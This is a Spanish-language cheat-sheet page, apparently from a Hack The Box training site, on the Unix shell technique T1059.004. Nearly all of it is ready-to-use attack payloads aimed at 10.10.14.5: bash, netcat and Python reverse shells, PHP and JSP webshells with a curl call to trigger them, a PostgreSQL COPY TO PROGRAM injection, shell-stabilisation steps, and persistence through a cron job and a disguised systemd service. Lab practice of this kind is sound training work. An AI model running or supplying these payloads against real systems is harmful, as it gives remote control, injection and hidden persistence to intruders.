T1059.004

Shell de Unix

Subtécnica de T1059 Intérprete de comandos y scripts ↗

Ejecutar comandos con bash o sh: reverse shells, one-liners y scripts.

Cómo aparece en Hack The Box

Tras cualquier ejecución de comandos en Linux toca conseguir una reverse shell y estabilizarla (pty, stty raw -echo) para poder usar sudo, su y el autocompletado.

Todavía no hay máquinas del catálogo con esta técnica: practícala con los comandos y las guías en tu propio laboratorio.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Generador de reverse shells › Linux

Bash por /dev/tcp
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'

El bash -c del principio hace falta si el comando lo ejecuta sh (por ejemplo, desde una inyección de comandos).

mkfifo (funciona con cualquier nc)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f
Python 3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'

Generador de reverse shells › Webshells

Webshell que lanza la reverse shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
Invocar la webshell con curl Atacante
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
JSP
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %>

Generador de reverse shells › Windows

Listener para ConPtyShell Atacante
stty raw -echo; (stty size; cat) | nc -lvnp 443

Mejorar la shell a una TTY completa › Con script

1. Pedir una pseudo-terminal Víctima
script /dev/null -c bash
3. Pasar tu terminal a modo raw y volver a la shell Atacante
stty raw -echo; fg

En zsh escríbelo así, en una sola línea. Al pulsar Enter no verás lo que escribes, y es normal.

Mejorar la shell a una TTY completa › Python

1. Pedir una pseudo-terminal Víctima
python3 -c 'import pty; pty.spawn("/bin/bash")'
3. Modo raw y volver Atacante
stty raw -echo; fg

Payloads de inyección SQL › PostgreSQL

Reverse shell con COPY
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';--

C2 y post-explotación › Persistencia

cron Víctima
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -
Servicio systemd Víctima
printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service
sudo systemctl enable --now upd

Chuletas relacionadas